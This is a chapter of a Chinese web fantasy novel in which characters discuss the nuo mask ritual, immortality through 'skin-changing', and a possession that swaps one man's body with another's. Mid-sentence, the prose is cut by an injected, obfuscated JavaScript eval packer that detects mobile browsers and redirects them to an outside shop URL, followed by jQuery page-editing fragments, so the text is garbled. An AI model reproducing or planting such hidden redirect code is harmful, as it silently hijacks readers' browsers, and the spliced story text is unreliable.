69. 破执
作品:《我与皇权不得不说的秘密》 天下初平,百废俱兴,雪卿还没来得及登基便要处理许多事务,若非身旁有人帮忙怕是要活生生累死。
“哈……为什么没完啊!”
女人颈上吊着布条,左手缠着木板,都伤成这样了还要被抓过来处理政务,气的笔一丢直接躺地上耍赖。
雪卿当然不准备放过她,毕竟两个月前刚被她吓得够呛,两人久别重逢,她忽然来这么一出,但凡再脆弱点就直接疯了。
雪卿瞟了她一眼勾唇道,“千里琼林你接着耍赖,等它越堆越多。”
“嘘!”
她急忙比了个噤声的手势压低声音道,“你傻啊,我叫墨琼林!什么千里琼林,她可死了啊!你真是不怕有人造反……”
“哼,”雪卿横了她一眼,冷声道,“干活。”
“啊……可是我手疼。”
墨琼林继续耍赖,干脆撂挑子,毛笔一丢躺地上了。
“……好吧。”
雪卿拿她没办法,起身到她身边瞧了瞧左手道,“哪里疼,给我看看。”
“不要!”
墨琼林侧身躲过,“你医术不好,我要十三郎给我治。”
雪卿顿时气不打一处来,“墨琼林你找死是吧?”
“呦!有能耐打我啊!”
墨琼林顿时跳起来摩拳擦掌,这几日写字盖戳快成傻子了,总算有机会动一动了,她用完好那只手不断挑衅雪卿,“你过来呀!来打我,打你最好的姊妹,打你的知己挚友,打这个世界上对你最好的人,来啊来啊!”
此话一出雪卿顿时败下阵来,沉沉叹息,“好了好了,你去歇着吧。我来,这些都我来。”她说完,眼神哀怨的看了下案边堆成山的折子。
墨琼林:“好诶!玩去喽!”
望着她欢脱的背影雪卿不止一次怀疑她当初摔下去时把脑子摔坏了,自从千里撼这个身份“死掉”后她活像只猴子,平日只想着玩乐,一扫往日阴霾,从前常盘旋于眉间的阴影也消失不见。
不过,这样也好。
雪卿笑起来,她的确更喜欢这样的千里撼——不,是墨琼林。
“十三郎,我来喽~”
墨琼林神秘兮兮的摸到闻武的居所,猛地一推门发觉楚山孤竟也在,二人剑拔弩张。
墨琼林:“你们两个……要瞪死对方?”
楚山孤率先恢复笑颜,错开目光对墨琼林道,“家主怎么知道我想你了,来的真是好。”
闻武眯了眯眼,一时失笑,“狐媚子。”
这两人简直针尖对麦芒,自从一道搬进皇宫后只要见面就掐架,明争暗斗冷嘲热讽,可他们还偏偏总凑在一起,连墨琼林都不知道他们在研究什么。
“你们两个既然不对付,为何还总往一处凑?”她在两人中间坐下,一人发了一个苹果,“来来来,吃颗苹果顺顺气,等我走了再吵。”
闻武接过苹果瞧了瞧,有些失望,“琼林好偏心,给我酸苹果。”
“啊?”她愣了一下,赶忙将自己手里的换给闻武,“你看看我这个呢,酸不酸?”
“这个是甜的。”
“那就好,”墨琼林拿回来咬了一口惊叹,“还真甜呢!仙狂你真有本事!”
“我的本事多着呢,只要琼林想知道,”他拿刀为墨琼林削起苹果,言语中带着几分落寞,“可惜都是些小伎俩,帮不上你,否则也能和你多见几面……”
墨琼林一听这话心中有些不是滋味,手搭上闻武手背,刚要开口却被楚山孤一声嘀咕打断。
“我帮不上你~”
他学着闻武的语气摇头晃脑,末了还不忘嗤笑,“哎呦,不知道方才是谁,一口一个要杀人,现在倒装起柔弱了。”
闻武朝他飞去一记眼刀,牙咬的咯吱作响,想要说些什么,墨琼林见此急忙捂住闻武嘴巴打圆场,“那个,你们方才都聊什么了?”
“没什么。”二人异口同声。
他俩总这样,奇奇怪怪的,墨琼林也懒得管,只要不打起来就行。
她盘腿坐下,心中尚有一事不明,恰好两人都在索性问起来,“藏道,你来自栾城楚氏,又是麒鬼坐下弟子。我始终有个问题不解,‘傩’究竟是什么?从前我认为傩是一种仪式,用来祭祀,可越钻研越觉得奇怪,既是仪式,为何不重法式,不设祭品,反而来要求‘人’?”
“家主很聪明,”楚山孤咳了咳,将腰后挂着的面具拿给她看,墨琼林一眼就认出这和东山地宫见过的一样,貌似是其中的“揽错”,见墨琼林认出他便继续道,“不了解的人大多会认为傩是一种祭祀,顶多算是一种术法,可只要深入就会发现,‘傩’是一种非人又类人的存在。”
闻武道,“降神吗?”
“半对。傩本身就是一种高于人的存在,人与其的交界就是这样一张面具,可傩不会向下走,于是只有带上面具的人能够窥见一二,甚至有得道者可以借机成为傩。”
墨琼林:“成为傩?怎么成为,意思是有傩的能力,可祛百病?”
“呵呵,祛百病,这是傩的许多能耐中最不值得一提的,却是人最常用的。傩,永存世间,意味着长生长存,虽有成功者但实在寥寥,不过失败的我倒知道一个。”
“是谁?”
楚山孤笑起来,“我师父,麒鬼。”
“什么?”墨琼林不可置信,“麒鬼不是寿终正寝吗,我记得兰若整天叫她老东西。”
“那敢问家主,我师父多少岁呢?”
这个问题瞬间打断他的思绪,墨琼林陷入沉默,的确,麒鬼此人来历不详,几十年前忽然出现在江湖,不过十年便声名鹊起。而她从来带着面具,没人知晓她的容貌,更谈不上年岁。
楚山孤露出一抹神秘的笑,“师父她老人家深居简出,当年收我为徒也是偶然,我娘说她六十几岁,可兰若前辈又说她最少一百二十岁,本来我不信,可有一回师父的面具掉了,她的脸最多三十岁。”
闻武皱了皱眉,“画皮鬼?”
“起初我也这么觉得,直到我也学了傩。”他拿起面具在脸上比了比,透过揽错的双眼看着二人,她们身上各自缠着不同的枷锁,就楚山孤自己也被困住。
他顿了顿,咽下口中淡淡腥甜,“带上面具,就是穿上了傩的皮,而成为傩,就可以随意换皮。家主,这个道理,你明白吗?”
换皮……
墨琼林听着这两个字陷入沉默,傩不会成为人,但人可以成为傩,而傩又可以不断换皮,归根结底她还是人,那么这个人不断换皮无非就为一件事——永生。
“吾非我,亦恒我……”她喃喃碎念,心中升起阵阵不安。
“你方才说成功者寥寥,那失败会怎样,死吗?”
“比那更可怕。”
楚山孤收
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17426377|198540||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
敛笑意,像做了噩梦,眉头紧绷带着散不去的忧郁,“成为傩意味着放弃自我,甚至无我。这其中的无我同道家意思相近,意义却完全相悖,在不断换皮的过程中‘我’会逐渐丢失,最终化作一缕‘念’,也就是‘我执’。我执,会像趴在牛身上的蚂蟥,成为类似傩的存在。在漫长的生命中,祂会为了目的不择手段,只要执念未完就永恒存在,这种存在不能叫活着,因为其实在成为傩的时候她们已经死了。”
闻武:“也就是说在成为傩的瞬间,人我执死去,法我执出现。”
“也可以这么说吧。”
墨琼林:“那这个人一旦成为傩,就会被分裂吗?既然如此,她还能进入轮回亦或是……”
“不能,就像被切开的苹果无法复原,属于人的一部分会作为灵永存世间,傩也会永恒存在直到我执消失。不过你所谓的轮回我大概明白,无非就是再次圆满,”他拿起那颗被切成两半的苹果轻轻合上,随后放进泥土,“只要成为种子,就有机会长成大树,等再过千万年,总有机会再长出一颗完全相同的苹果。我想,这大概就是你所说的轮回。”
“楚将军!”一名身着重甲的女子快步跑到楚长行身边道,“方才在皇城根儿发现个人,自称教主。我瞧他的衣着不俗,要不要……”
“带我去看看。”
墙根底下围了一圈人,守卫窃窃私语,楚长行拨开众人,瞧见身被烧烂的衣裳里头裹着个人。
“你是什么人?”
那人没有动静,面朝黄土蜷缩在地,时不时露出一声恰好能被人听见的喘息,以此证明自己活着。
这明显是目祆教的衣裳,看着绣法更不像普通教众所能享受的。楚长行越想越觉得诡异,蹲下身盯着那人,烧伤的背部散发着淡淡臭气。他看不真切,莫名想要凑近,可一道黑血爬了出来,蜿蜒曲折,钻进他的脚底。
“……嘿嘿。”
不知从哪传来一声闷笑,像刀刮骨头的声音,楚长行忽然有种被戏弄的感觉,猛的薅起那人头发厉色道,“你到底是谁!”
“嘿嘿……”
他不说,只是在笑,更不怕四周包围的剑。在和他对视的一瞬间楚长行忽然有些恶心,强烈的不适感让他迫切的想要将其了结,可手却被缠住怎么也挣脱不开。
发丝渐渐收紧,仿佛有刀在沿着掌纹轻轻肢解,企图剥了他的皮。
不!不对!
楚长行猛地反应过来,拼尽全身力气后撤,却纹丝不动,巨大的恐惧将其包裹,周围人不明所谓还在等着他,只有楚长行自己知道发生了什么。
“嘿嘿……”
又是这个笑声!
只见那人缓缓抬起头来,埋在发丝之间的红瞳忽然睁开,盯着他,一字一句,“找到你了。”
巨大的吸力瞬间将楚长行拉了过去,再睁眼,背上钻心的疼,而他“自己”,此刻竟抓着他,居高临下的笑着。
“你……”
“呵呵,”对面,楚长行调笑着,歪了歪头,“我什么?你这目祆教余孽。”
楚长行眼皮抽动,身体剧烈颤抖,声音堵在嗓子眼发不出来,他忽然意识到发生了什么,“妖孽!我……”
“对~你,是妖孽。”
他笑了下,甩开楚长行,面对自己的身体毫不留情,像对待垃圾,吩咐道,“将他关起来!”
“是!”

